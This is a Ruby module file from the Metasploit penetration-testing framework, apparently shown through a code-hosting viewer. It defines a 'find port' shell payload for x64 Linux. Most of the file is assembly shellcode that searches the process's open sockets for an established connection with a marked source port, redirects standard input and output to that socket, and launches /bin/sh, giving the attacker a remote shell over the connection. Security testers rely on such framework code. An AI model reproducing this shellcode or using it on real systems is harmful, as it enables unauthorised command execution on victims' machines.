dwelch-r7
80 lines
1.8 KiB
Ruby
80 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 98
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Find Port Inline',
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'Description' => 'Spawn a shell on an established connection',
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'Author' => 'mak',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X64,
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'Handler' => Msf::Handler::FindPort,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'CPORT' => [ 39, 'n' ],
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},
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'Assembly' => %Q|
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xor rdi,rdi
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xor rbx,rbx
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mov bl,0x18
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sub rsp,rbx
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lea rdx,[rsp]
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mov [rdx], 0x10
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lea rsi,[rsp+8]
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find_port:
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push 0x34 ; getpeername
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pop rax
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syscall
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inc rdi
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cmp word [rsi+2],0x4142
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jne find_port
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dec rdi
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push 2
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pop rsi
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dup2:
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push 0x21 ; dup2
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pop rax
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syscall
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dec rsi
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jns dup2
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mov rbx,rsi
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mov ebx, 0x68732f41
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mov eax,0x6e69622f
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shr rbx,8
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shl rbx,32
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or rax,rbx
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push rax
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mov rdi,rsp
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xor rsi,rsi
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mov rdx,rsi
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push 0x3b ; execve
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pop rax
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syscall
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}
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))
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end
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def size
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return 91
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end
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end
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